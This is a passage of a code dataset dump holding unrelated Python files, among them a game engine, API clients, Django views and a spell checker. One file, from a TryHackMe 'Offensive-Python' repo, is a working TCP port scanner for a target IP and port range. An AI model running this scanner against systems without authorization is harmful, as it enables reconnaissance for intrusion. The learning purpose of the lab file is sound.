или 3)!!!')\nprint(dct)\n","repo_name":"AEsmur/my_python","sub_path":"2nd semester HWs/HW5/my_tasks_dict.py","file_name":"my_tasks_dict.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"215365566","text":"from http.server import SimpleHTTPRequestHandler\nfrom socketserver import TCPServer\n\nPORT = 8000\n\nclass MyHandler(SimpleHTTPRequestHandler):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.path = ''\n\n def do_GET(self):\n if self.path == '/':\n self.path = '/index.html'\n return SimpleHTTPRequestHandler.do_GET(self)\n\nwith TCPServer((\"\", PORT), MyHandler) as httpd:\n print(f\"Serving on port {PORT}\")\n httpd.serve_forever()\n\n","repo_name":"Allen-Tanaka/GoGo_Shuttle","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29050505902","text":"from sys import stdout\nfrom socket import socket, AF_INET, SOCK_STREAM\nfrom argparse import ArgumentParser \nfrom time import perf_counter \n\ndef parse_arguments():\n parser = ArgumentParser()\n parser.add_argument('IP', help='Host or network IP')\n parser.add_argument('start_port', help='starting port number', type=int)\n parser.add_argument('end_port', help='ending port number', type=int)\n return parser.parse_args()\n\n\ndef probe_port(ip, port, result=1): \n try: \n sock = socket(AF_INET, SOCK_STREAM) \n sock.settimeout(0.5) \n r = sock.connect_ex((ip, port)) \n if r == 0: \n print(port)\n sock.close()\n return 0\n \n except Exception as e: \n pass \n return r\n\n\nif __name__ == '__main__':\n start = perf_counter()\n args = parse_arguments()\n open_ports =[] \n ports = range(args.start_port, args.end_port)\n\n for port in ports: \n stdout.flush() \n response = probe_port(args.IP, port) \n if response == 0: \n open_ports.append(port) \n \n\n if open_ports: \n print (\"Open Ports are: \") \n print (sorted(open_ports)) \n\n else: \n print (\"Looks like no ports are open :(\")\n \n end = perf_counter()\n print(end-start)\n ","repo_name":"juba0x00/Offensive-Python","sub_path":"THM-rooms/Python-For-Pentesters/PortScanner.py","file_name":"PortScanner.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"40806626449","text":"from Omok import *\nimport pygame, sys\nimport random\nfrom pygame.locals import *\nimport pickle\nfrom rule import *\nimport numpy as np\nfrom MCTS import *\nfrom copy import deepcopy\nfrom math import *\nfrom policy_value_net_pytorch import PolicyValueNet\nimport torch\nfrom game import Board, Game\nfrom mcts_alphaZero import MCTSPlayer\nfrom multiprocessing.pool import ThreadPool\nfps = 60\nfps_clock = pygame.time.Clock()\n\n\nclass Human(object):\n \"\"\"\n human player\n 흑수 관련 구조체, 포인트 x,y 와 턴을 넘겨줘야함\n \"\"\"\n\n def __init__(self, x, y):\n self.player = None\n self.x = x\n self.y = y\n\n def set_player_ind(self, p):\n self.player = p\n\n def get_action(self, board):\n move = board.location_to_move(self.x, self.y)\n \"xy입력받아서, 1차원 move로 변환하여 리턴해준다. \"\n return move\n\n\ndef run_game(surface, omok, menu):\n omok.turn = black_stone\n omok.init_game()\n board = Board(width=board_size, height=board_size, n_in_row=5)\n game = Game(board)\n model_file = 'current_policy_15x15-self500.model'\n while True:\n\n\n for event in pygame.event.get():\n pygame.display.flip()\n if omok.turn == black_stone and event.type == MOUSEBUTTONUP:\n x, y = omok.check_board_black(event.pos)\n human = Human(x, y)\n elif omok.turn == white_stone:\n\n best_policy = PolicyValueNet(15, 15, model_file = model_file)\n mcts = MCTSPlayer(best_policy.policy_value_fn, c_puct=7, n_playout=800)\n move = game.start_play(human, mcts, start_player=1)\n x = move / board_size\n y = move % board_size\n print(int(x),y)\n omok.check_board_white(int(x),y)\n else :\n pass\n\n if omok.is_gameover:\n return\n\n pygame.display.update()\n fps_clock.tick(fps)\n","repo_name":"pentagram5/Alpha_omokjomok","sub_path":"Alpha-omokjmok/Omok_policy-nn,mcts,15x15 state/run_game.py","file_name":"run_game.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"69875156993","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe.model.document import Document\n\nclass Hotel(Document):\n\tdef before_save(self):\n\t\tself.validate_list()\n\t\tself.set_pl()\n\t\tself.sorts()\n\t\tself.sorts_p()\n\n\tdef sorts(self):\n\t\tfor i, item in enumerate(sorted(self.costs, key=lambda item: item.rates_valid_from), start=1):\n\t\t\titem.idx = i\n\n\tdef sorts_p(self):\n\t\tfor i, item in enumerate(sorted(self.prices, key=lambda item: item.rates_valid_from), start=1):\n\t\t\titem.idx = i\n\n\n\tdef set_pl(self):\n\t\tself.prices = []\n\t\tfor r in self.costs:\n\t\t\tp = self.append('prices')\n\t\t\tp.room_type = r.room_type \n\t\t\t#p.meal = r.meal\n\t\t\tp.rates_valid_from = r.rates_valid_from\n\t\t\tp.rates_valid_till = r.rates_valid_till\n\t\t\tp.vat = r.sales_vat\n\t\t\tp.wrent_weekend = r.sales_rent_weekend\n\t\t\tp.wrent_weekdays = r.sales_rent_weekdays\n\t\t\tp.wextra_bed_charges = r.sales_extra_bed_charges\n\t\t\tp.rent_weekend = r.sales_rent_weekend_inc_vat\n\t\t\tp.rent_weekdays = r.sales_rent_weekdays_inc_vat\n\t\t\tp.extra_bed_charges = r.sales_extra_bed_charges_inc_vat\n\t\t\tp.meal = r.meal\n\n\tdef validate_list(self):\n\t\tfor c in self.costs:\n\t\t\tfor cc in self.costs:\n\t\t\t\tif c.room_type == cc.room_type and c.idx!=cc.idx:\n\t\t\t\t\tif c.rates_valid_from == cc.rates_valid_from:\n\t\t\t\t\t\tfrappe.throw(\"Dulicate valid from date for same room type found in Row#\"+str(cc.idx)+\" and Row#\"+str(c.idx)+\".\")\n\t\t\t\t\telif c.rates_valid_till == cc.rates_valid_till:\n\t\t\t\t\t\tfrappe.throw(\"Dulicate valid till date for same room type found in Row#\"+str(cc.idx)+\" and Row#\"+str(c.idx)+\".\")\n\t\t\t\t\telif c.rates_valid_from <= cc.rates_valid_till and c.rates_valid_from >= cc.rates_valid_from:\n\t\t\t\t\t\tfrappe.throw(\"Valid from date conflicts in Row#\"+str(cc.idx)+\" and Row#\"+str(c.idx)+\".\")\n\n\n\t\t\t\t\t","repo_name":"SafdarAliGit/tour_management","sub_path":"tour_management/hotel_management/doctype/hotel/hotel.py","file_name":"hotel.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9929668484","text":"# coding: utf-8\nimport hashlib\nimport requests\nimport time\nimport urllib\nimport hmac\n\n\nclass Client(object):\n\n\tdef __init__(self, **kwargs):\n\t\tself.origin = kwargs.get('origin', 'https://www.btcbox.co.jp')\n\t\tself.public_key = kwargs.get('public_key', None)\n\t\tif self.public_key is None:\n\t\t\traise Exception('public key is absent.')\n\t\tself.private_key = kwargs.get('private_key', None)\n\t\tif self.private_key is None:\n\t\t\traise Exception('private key is absent.')\n\t\tself.timeout = kwargs.get('timeout', None)\n\n\tdef _request(self, path, method='GET', params=None):\n\t\turi = '{0}{1}'.format(self.origin, path)\n\t\tparams['key'] = self.public_key\n\t\tparams['nonce'] = time.time()\n\t\tparams['signature'] = self._signature(params)\n\t\tif method == 'GET':\n\t\t\tres = requests.get(uri, timeout=self.timeout, params=params)\n\t\telse: # method == 'POST'\n\t\t\tres = requests.post(uri, timeout=self.timeout, data=params)\n\n\t\treturn res\n\n\tdef _signature(self, params):\n\t\tpayload = bytearray(urllib.parse.urlencode(params),'ASCII')\n\t\tmd5prikey = bytearray(hashlib.md5(self.private_key.encode('utf-8')).hexdigest(),'ASCII')\n\t\tsign = urllib.parse.quote(hmac.new(md5prikey, payload, hashlib.sha256).hexdigest())\n\t\treturn sign\n\n\tdef ticker(self, **kwargs):\n\t\tpath = '/api/v1/ticker'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, params=params)\n\n\t\treturn data\n\n\tdef depth(self, **kwargs):\n\t\tpath = '/api/v1/depth'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, params=params)\n\n\t\treturn data\n\n\tdef orders(self, **kwargs):\n\t\tpath = '/api/v1/orders'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, params=params)\n\n\t\treturn data\n\n\tdef balance(self, **kwargs):\n\t\tpath = '/api/v1/balance'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, method='POST', params=params)\n\n\t\treturn data\n\t\n\tdef wallet(self, **kwargs):\n\t\tpath = '/api/v1/wallet'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, method='POST', params=params)\n\n\t\treturn data\n\n\tdef trade_list(self, **kwargs):\n\t\tpath = '/api/v1/trade_list'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, method='POST', params=params)\n\n\t\treturn data\n\n\tdef trade_view(self, **kwargs):\n\t\tpath = '/api/v1/trade_view'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, method='POST', params=params)\n\n\t\treturn data\n\n\tdef trade_cancel(self, **kwargs):\n\t\tpath = '/api/v1/trade_cancel'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, method='POST', params=params)\n\n\t\treturn data\n\n\tdef trade_add(self, **kwargs):\n\t\tpath = '/api/v1/trade_add'\n\t\tparams = kwargs\n\n\t\tdata = self._request(path, method='POST', params=params)\n\n\t\treturn data\n","repo_name":"10mohi6/btcbox-api-python-client","sub_path":"btcbox_client/sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"6350957049","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.http import HttpResponse\nfrom urllib.request import urlopen\nfrom django.views.decorators.csrf import csrf_exempt\n@csrf_exempt\ndef CitySearch(request):\n try:\n import json\n url=\"https://samples.openweathermap.org/data/2.5/box/city?bbox=12,32,15,37,10&appid=b6907d289e10d714a6e88b30761fae22\"\n response=urlopen(url)\n data_json=json.loads(response.read())\n names = list()\n for key,data in data_json.items():\n if(type(data) == list):\n for data2 in data:\n for key3,data3 in data2.items():\n if(key3=='name'):\n names.append(data3)\n countt=[]\n if(str(request.POST.get('namess')).isalpha() == True ):\n for n in names:\n if(str(request.POST.get('namess')).capitalize() == n[0]):\n countt.append(n)\n CityCount=len(countt)\n context={'name':countt,'count':str(CityCount)}\n else:\n context={'name':\"Please enter valid letter\", 'count':\"NA\"}\n return render(request,'main.html',context)\n except Exception as e:\n print(e)","repo_name":"DEVESH0211/Search_site","sub_path":"CityNames/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27198769179","text":"def factorial(x):\n p=1;\n for c in range (0,x):\n p=p*(x-c)\n \n return p\nz=int(input(\"input a number :\"))\nfactorial(z)\nc=factorial(z)\nprint(\"value of variable :\",c)\n\n","repo_name":"mamunece/python-program-practice","sub_path":"Session 4/problem_4.py","file_name":"problem_4.py","file_ext":"py","file_size_in_byte":182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15174560634","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 5 22:58:48 2019\n\n@author: Zhiyu Ye\n\nEmail: yezhiyu@hotmail.com\n\nIn London, the United Kingdom\n\"\"\"\n\"\"\"\nUsing the synthetic images in the YCB Video Dataset to train a Mask R-CNN.\nThis file is to generate a json file for annotations as the format in the COCO dataset.\n\"\"\"\n\nimport os\nimport json\nimport cv2\nimport numpy as np\nfrom PIL import Image\nfrom tools.sub_masks_annotations import create_sub_masks, create_sub_mask_annotation\nimport time\nimport matplotlib.pyplot as plt\n\n\n\nif __name__ == \"__main__\":\n \n input_dir = 'path to/YCB_Video_Dataset'\n output_dir = 'path to/YCBVD_Datasyn_for_train'\n \n # Generate the categories\n class_file = open(input_dir + '/image_sets/classes.txt')\n line = class_file.readline()\n category_id = 0\n categories = []\n while line:\n category_id += 1\n category = {'supercategory':line, 'id':category_id, 'name':line}\n categories.append(category)\n line = class_file.readline()\n class_file.close()\n \n \n # Generate the images and the annotations\n files = os.listdir(input_dir + '/data_syn')\n width = 640\n height = 480\n iscrowd = 0\n annotation_id = 0\n annotations = []\n images = []\n count = 0\n for file in files:\n if file[-3:] == 'png' and file[7:12] == 'label':\n start_time = time.time()\n print('Processing:', file, '...')\n # Write infomation of each image\n file_name = file[:7] + 'color.png'\n image_id = int(file[:6])\n image_item = {'file_name':file_name, 'height':height, 'id':image_id, 'width':width}\n images.append(image_item)\n \n # Write information of each mask in the image\n image = Image.open(input_dir + '/data_syn/' + file)\n # Extract each mask of the image\n sub_masks = create_sub_masks(image)\n count = count + len(sub_masks)\n for category_id, sub_mask in sub_masks.items():\n category_id = int(category_id[1:category_id.find(',')])\n annotation_id += 1\n cimg = np.array(sub_mask)\n opencvImage = np.stack((cimg, cimg, cimg), axis = 2)\n instance = np.uint8(np.where(opencvImage == True, 0, 255))\n annotation_item = create_sub_mask_annotation(instance, image_id, category_id, annotation_id, iscrowd)\n annotations.append(annotation_item)\n \n print('Done! Time used:', time.time()-start_time)\n \n print('Test if all the instances are detected, the result is', count == annotation_id)\n # Combine categories, annotations and images to form a json file\n json_data = {'annotations':annotations, 'categories':categories, 'images':images}\n annotations_output_dir = output_dir + '/annotations'\n if not os.path.exists(annotations_output_dir):\n os.makedirs(annotations_output_dir)\n with open(annotations_output_dir + '/instances.json', 'w') as f:\n json.dump(json_data, f)\n","repo_name":"iyezhiyu/Mask_RCNN_on_YCB_Video_Dataset","sub_path":"data_syn_annotations_generator.py","file_name":"data_syn_annotations_generator.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"} +{"seq_id":"12490949294","text":"from django.shortcuts import render,HttpResponse,redirect\nfrom books_authors_app.models import Book,Author\n\n# Create your views here.\ndef books_index(request):\n context={\n \"books\":Book.objects.all(),\n \"authors\":Author.objects.all(),\n }\n return render(request,\"books_index.html\",context)\n\ndef add_new_book(request):\n title=request.POST['title']\n desc=request.POST['desc']\n Book.objects.create(title=title,desc=desc)\n return redirect(\"/\")\n\ndef books_show(request,id):\n book_authors=Book.objects.get(id=id).authors.all()\n authors=Author.objects.all()\n not_book_authors=[]\n for element in authors :\n if element not in book_authors:\n not_book_authors.append(element)\n context={\n \"book\":Book.objects.get(id=id),\n \"book_authors\":Book.objects.get(id=id).authors.all(),\n \"not_book_authors\":not_book_authors, \n }\n return render(request,\"books_show.html\",context)\n\ndef add_author(request,id):\n book_id=id\n author_id=request.POST['author']\n Book.objects.get(id=book_id).authors.add(Author.objects.get(id=author_id))\n\n return redirect(\"/books/\"+id)\n\ndef authors_index(request):\n context={\n \"books\":Book.objects.all(),\n \"authors\":Author.objects.all(),\n }\n return render(request,\"authors_index.html\",context)\n\ndef add_new_author(request):\n first_name=request.POST['first_name']\n last_name=request.POST['last_name']\n notes=request.POST['notes']\n Author.objects.create(first_name=first_name,last_name=last_name,notes=notes)\n return redirect(\"/authors\")\n\ndef authors_show(request,id):\n author_books=Author.objects.get(id=id).books.all()\n books=Book.objects.all()\n not_author_books=[]\n for element in books :\n if element not in author_books:\n not_author_books.append(element)\n context={\n \"author\":Author.objects.get(id=id),\n \"author_books\":Author.objects.get(id=id).books.all(),\n \"not_author_books\":not_author_books, \n }\n return render(request,\"authors_show.html\",context)\n\ndef add_book(request,id):\n author_id=id\n book_id=request.POST['book']\n Author.objects.get(id=author_id).books.add(Book.objects.get(id=book_id))\n\n return redirect(\"/authors/\"+id)","repo_name":"RiyadBustami/Django_fundamentals","sub_path":"books_authors_proj/books_authors_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39847775948","text":"critical_y = 2_000_000\nbound = 4_000_000\n\ndef l1(a, b):\n return int(abs(a.real - b.real) + abs(a.imag - b.imag))\n\ndef cmplx(a):\n return a[0]+1j*a[1]\n\nsensors, beacons = zip(\n *[(cmplx(list(map(lambda x: int(x.split(\"=\")[1]), l[10:].split(\",\")))),\n cmplx(list(map(lambda x: int(x.split(\"=\")[1]), r[22:].split(\",\")))))\n for l, r in\n [line.rstrip().split(\":\") for line in open(\"input15.txt\").readlines()]])\n\n\nnobeacons = set()\nfor s, b in zip(sensors, beacons):\n maxdist = l1(s, b)\n nobeacons.update([\n x for x in range(int(s.real) - maxdist,\n int(s.real) + maxdist)\n if l1(s, x + critical_y * 1j) <= maxdist\n ])\n\nnobeacons -= {int(b.real) for b in beacons if int(b.imag) == critical_y}\nprint(len(nobeacons))\n\ndef test(z):\n if int(z.real) not in range(0,bound) or int(z.imag) not in range(0,bound):\n return False\n for s,b in zip(sensors,beacons):\n if l1(z,s) <= l1(s,b):\n return False\n return True\n\ndef onlypoint():\n for s,b in zip(sensors,beacons):\n d = l1(s,b)\n #must fall just outside the boundary of a scanned zone\n circle = [s + x + 1j*(d+1 - x) for x in range(-d-1,d+2)] + [s + x -1j*(d+1-x) for x in range(-d-1,d+2)]\n for p in circle:\n if test(p):\n return p\n\np = onlypoint()\nprint(int(p.real * 4000000 + p.imag)) \n","repo_name":"josephjclarke/aoc2022","sub_path":"day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3733084110","text":"# find face and crop\n\nimport cv2\nimport mediapipe as mp\nimport sys\nfrom time import sleep\nmp_face_detection = mp.solutions.face_detection\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\nIMAGE_FILES = [sys.argv[1]]\nwith mp_face_detection.FaceDetection(\n model_selection=0, min_detection_confidence=0.7) as face_detection: \n for idx, file in enumerate(IMAGE_FILES):\n image = cv2.imread(file)\n annotated_image = image\n results = face_detection.process(image)\n if results.detections:\n i = 0\n for detection in results.detections:\n annotated_image = image\n y,x,k = image.shape\n bounding_box = detection.location_data.relative_bounding_box;\n cropped_img = image[int(bounding_box.ymin*y)-50:int(bounding_box.height*y)+int(bounding_box.ymin*y)+50, int(bounding_box.xmin*x)-25:int(bounding_box.width*x)+int(bounding_box.xmin*x)+50]\n cv2.imwrite(\"show\" + str(i) + \".png\", cropped_img)\n i = i + 1\n # if results.detections:\n # y,x,k = image.shape\n # bounding_box = results.detections[1].location_data.relative_bounding_box;\n # cropped_img = image[int(bounding_box.ymin*y)-50:int(bounding_box.height*y)+int(bounding_box.ymin*y)+50, int(bounding_box.xmin*x)-50:int(bounding_box.width*x)+int(bounding_box.xmin*x)+50]\n # cv2.imshow(\"cropped\", cv2.resize(image, (128,128), interpolation = cv2.INTER_AREA))\n #cv2.imwrite(\"cropped\" + str(idx) + '.png', cropped_img)","repo_name":"kubawis128/Beauty-Classification","sub_path":"face-detection/mediapipe-face-file.py","file_name":"mediapipe-face-file.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39907523446","text":"import re\nimport json\nimport nltk\nimport codecs\nimport string\nfrom collections import Counter\nfrom time import time\nfrom nltk.tokenize.treebank import TreebankWordTokenizer\n\nimport logging\nlogging.basicConfig(\n level=logging.INFO,\n format='[%(levelname)s] (%(asctime)s) (%(name)s) %(message)s',\n handlers=[\n logging.FileHandler('../data/log/spell.log', encoding='utf8'),\n logging.StreamHandler()\n ])\nlogger = logging.getLogger('spell')\n\n\nclass SpellChecker:\n def __init__(self):\n self.corpus_path = '../data/corpus/corpus.txt'\n self.lm_path = '../data/lm/lm.json'\n self.lm = self.load_lm()\n self.word_dict = Counter(self.words(open(self.corpus_path).read()))\n self._word_tokenizer = TreebankWordTokenizer()\n\n def load_lm(self):\n logger.info('Loading n-grams language model...')\n t0 = time()\n with codecs.open(self.lm_path, mode='r', encoding='utf8') as lm_json:\n lm = json.load(lm_json)\n logger.info(\" Done in {:.3f}s\".format(time() - t0))\n return lm\n\n def get_dict_size(self):\n unique_word_number = len(self.word_dict)\n return unique_word_number\n\n def words(self, text):\n return re.findall(r'\\w+', text.lower())\n \n def tokenize(self, text):\n return self._word_tokenizer.tokenize(text)\n\n def span_tokenize(self, text):\n token_list = [] # [{'token': the, 'index': 0, 'start': 0, 'end': 6, 'length': 6}]\n start = 0\n index = 0\n for word_token in self.tokenize(text):\n token_dict = {}\n start = text.find(word_token, start)\n length = len(word_token)\n end = start + length\n token_dict['index'] = index\n token_dict['start'] = start\n token_dict['end'] = end\n token_dict['length'] = length\n token_dict['token'] = word_token\n token_list.append(token_dict)\n start = end\n index += 1\n return token_list\n \n def known(self, words):\n '''\n the subset of `words` that appear in the dictionary of WORDS\n '''\n return set(w for w in words if w in self.word_dict)\n\n def edits1(self, word):\n '''\n all edits that are one edit away from 'word'\n '''\n letters = 'abcdefghijklmnopqrstuvwxyz'\n splits = [(word[:i], word[i:]) for i in range(len(word) + 1)]\n deletes = [L + R[1:] for L, R in splits if R]\n transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R) > 1]\n replaces = [L + c + R[1:] for L, R in splits if R for c in letters]\n inserts = [L + c + R for L, R in splits for c in letters]\n return set(deletes + transposes + replaces + inserts)\n\n def edits2(self, word): \n '''\n all edits that are two edits away from 'word'\n '''\n return (e2 for e1 in self.edits1(word) for e2 in self.edits1(e1))\n\n def lookup(self, word):\n '''\n return True if the word exists in the dictionary\n '''\n if word in self.word_dict:\n return True\n else:\n return False\n \n def candidates(self, word):\n '''\n generate possible spelling corrections for word\n '''\n return self.known([word]) or self.known(self.edits1(word)) or self.known(self.edits2(word))\n\n def probability(self, c, b, a):\n '''\n ngrams (n up to 3) conditional probability of 'word' with backoff strategy\n P(c | a b)\n a b c\n c: candidate, always in our word list\n a b: words before c, may or may not in our word list\n '''\n abc = a + ' ' + b + ' ' + c\n ab = a + ' ' + b\n bc = b + ' ' + c\n\n if abc in self.lm:\n p = pow(10, float(self.lm[abc]['log_p']))\n else:\n if ab in self.lm:\n if bc in self.lm:\n p = pow(10, float(self.lm[ab]['log_bw']) + float(self.lm[bc]['log_p']))\n else:\n p = pow(10, float(self.lm[ab]['log_bw']) + float(self.lm[b]['log_bw']) + float(self.lm[c]['log_p']))\n else:\n if bc in self.lm:\n p = pow(10, float(self.lm[bc]['log_p']))\n else:\n if b in self.lm:\n p = pow(10, float(self.lm[b]['log_bw']) + float(self.lm[c]['log_p']))\n else:\n p = pow(10, float(self.lm[c]['log_p']))\n return p\n\n def detect(self, word):\n '''\n return True if the word is a typo\n '''\n if word in set(string.punctuation):\n return False\n if word.replace('.', '', 1).isdigit():\n return False\n if len(word) == 1 and word.isalpha():\n return False\n\n if self.lookup(word) or self.lookup(word.lower()):\n return False\n else:\n return True\n \n def correct(self, word, pre1, pre2):\n '''\n generate most probable spelling correction for typo 'word'\n '''\n candidates_list = self.candidates(word)\n correction_dict = {}\n rank_list = []\n\n for candidate in candidates_list:\n try:\n p = self.probability(candidate, pre1, pre2)\n correction_dict[candidate] = p\n except:\n correction_dict[candidate] = 0\n\n if not candidates_list:\n correction = ''\n else:\n correction = max(correction_dict, key=correction_dict.get)\n correction_list = sorted(correction_dict.items(), key=lambda x: x[1], reverse=True)\n\n for item in correction_list:\n rank_list.append(item[0])\n return correction, rank_list\n\n def check(self, sentence):\n token_list = self.span_tokenize(sentence)\n typo_list = [] # [{'typo': appll, 'correction': apple, 'start': 0, 'end': 5, 'offset': 5}]\n\n for token_dict in token_list:\n token = token_dict['token']\n if self.detect(token):\n index = token_dict['index']\n\n if index == 0:\n pre1, pre2 = '', ''\n elif index == 1:\n pre1, pre2 = token_list[index - 1]['token'], ''\n else:\n pre1, pre2 = token_list[index - 1]['token'], token_list[index - 2]['token']\n\n correction, rank_list = self.correct(token, pre1, pre2)\n\n typo_dict = {}\n typo_dict['typo'] = token\n typo_dict['correction'] = correction\n typo_dict['start'] = token_dict['start']\n typo_dict['end'] = token_dict['end']\n typo_dict['length'] = token_dict['length']\n typo_list.append(typo_dict)\n return typo_list\n\n\ndef main():\n speller = SpellChecker()\n dict_size = speller.get_dict_size()\n print(dict_size)\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"yanshengjia/ngrams-spell-checker","sub_path":"src/spell.py","file_name":"spell.py","file_ext":"py","file_size_in_byte":7015,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"36539482048","text":"import _martini_plugin\n\nfrom hoomd_script import force;\nfrom hoomd_script import globals;\nfrom hoomd_script import hoomd;\nfrom hoomd_script import util;\nfrom hoomd_script import tune;\n\nimport math;\nimport sys;\n\n## Cosine %angle force\n#\n# The command bond.anglecos2 specifies a %cosine angle squared potential energy between every triplet of particles\n# with an angle specified between them.\n#\n# \\f[ V(\\theta) = \\frac{1}{2} k \\left( \\cos\\theta - \\cos\\theta_0 \\right)^2 \\f]\n# where \\f$ \\theta \\f$ is the angle defined by the triplet\n#\n# Coefficients:\n# - \\f$ \\theta_0 \\f$ - rest %angle (in radians)\n# - \\f$ k \\f$ - %force constant (in units of energy/radians^2)\n#\n# Coefficients \\f$ k \\f$ and \\f$ \\theta_0 \\f$ must be set for each type of %angle in the simulation using\n# set_coeff().\n#\n#\nclass cos2(force._force):\n ## Specify the %cosine2 %angle %force for MARTINI scheme\n #\n # \\b Example:\n # \\code\n # cos2 = martini_plugin.angle.cos2()\n # \\endcode\n def __init__(self):\n util.print_status_line();\n # check that some angles are defined\n if globals.system_definition.getAngleData().getNumAngles() == 0:\n print >> sys.stderr, \"\\n***Error! No angles are defined.\\n\";\n raise RuntimeError(\"Error creating angle forces\");\n \n # initialize the base class\n force._force.__init__(self);\n \n # append compute to stress array\n #globals.stress.append(self);\n \n # create the c++ mirror class\n if not globals.exec_conf.isCUDAEnabled():\n self.cpp_force = _martini_plugin.CosineAngleForceCompute(globals.system_definition);\n else:\n self.cpp_force = _martini_plugin.CosineAngleForceComputeGPU(globals.system_definition);\n self.cpp_force.setBlockSize(tune._get_optimal_block_size('angle.harmonic'));\n\n globals.system.addCompute(self.cpp_force, self.force_name);\n \n # variable for tracking which angle type coefficients have been set\n self.angle_types_set = [];\n \n ## Sets the %cosine %angle coefficients for a particular %angle type\n #\n # \\param angle_type Angle type to set coefficients for\n # \\param k Coefficient \\f$ k \\f$ (in units of energy/radians^2)\n # \\param t0 Coefficient \\f$ \\theta_0 \\f$ (in radians)\n #\n # Using set_coeff() requires that the specified %angle %force has been saved in a variable. i.e.\n # \\code\n # cosine = martini_plugin.angle.cos2()\n # \\endcode\n #\n # \\b Examples:\n # \\code\n # cosine.set_coeff('polymer', k=3.0, t0=0.7851)\n # cosine.set_coeff('backbone', k=100.0, t0=1.0)\n # \\endcode\n #\n # The coefficients for every %angle type in the simulation must be set \n # before the run() can be started.\n def set_coeff(self, angle_type, k, t0):\n util.print_status_line();\n\n cos0 = math.cos(t0)\n\t\t \n # set the parameters for the appropriate type\n self.cpp_force.setParams(globals.system_definition.getAngleData().getTypeByName(angle_type), k, cos0);\n \n # track which particle types we have set\n if not angle_type in self.angle_types_set:\n self.angle_types_set.append(angle_type);\n \n def update_coeffs(self):\n # get a list of all angle types in the simulation\n ntypes = globals.system_definition.getAngleData().getNAngleTypes();\n type_list = [];\n for i in xrange(0,ntypes):\n type_list.append(globals.system_definition.getAngleData().getNameByType(i));\n \n # check to see if all particle types have been set\n for cur_type in type_list:\n if not cur_type in self.angle_types_set:\n print >> sys.stderr, \"\\n***Error:\", cur_type, \" coefficients missing in angle.harmonic\\n\";\n raise RuntimeError(\"Error updating coefficients\");","repo_name":"martbert/hoomd0.11_plugins","sub_path":"martini_plugin_v0.11/pymodule/angle.py","file_name":"angle.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36761070729","text":"import os\nimport sys\nimport os.path\nimport subprocess\nimport time\n\n\ndef altyazi_ekle(altyaziEklenecekDosyaIsmi):\n process = subprocess.Popen(\n ['C:\\\\mkv\\\\mkvinfo.exe', altyaziEklenecekDosyaIsmi], stdout=subprocess.PIPE)\n stdout = process.communicate()[0]\n b = 'STDOUT:{}'.format(stdout)\n\n subtitleSayisi = str(stdout).count('subtitle')\n toplamTrackSayisi = str(stdout).count('Track number:')\n silmeSonrasiTrackSayisi = toplamTrackSayisi - subtitleSayisi\n\n videolarinDizini = os.path.dirname(altyaziEklenecekDosyaIsmi)\n uzantisizDosyaIsmi = os.path.splitext(\n os.path.basename(altyaziEklenecekDosyaIsmi))[0]\n\n uretilecekDosyaIsmi = videolarinDizini + '\\\\' + uzantisizDosyaIsmi + '.tur.mkv'\n\n if os.path.isfile(videolarinDizini + '\\\\' + uzantisizDosyaIsmi + '.srt'):\n altyaziDosyaIsmi = videolarinDizini + '\\\\' + uzantisizDosyaIsmi + '.srt'\n\n if os.path.isfile(videolarinDizini + '\\\\' + uzantisizDosyaIsmi + '.ass'):\n altyaziDosyaIsmi = videolarinDizini + '\\\\' + uzantisizDosyaIsmi + '.ass'\n\n print('Toplam Track Sayisi: {}'.format(toplamTrackSayisi))\n print('Toplam Subtitle Sayisi: {}'.format(subtitleSayisi))\n print('Kalan Track 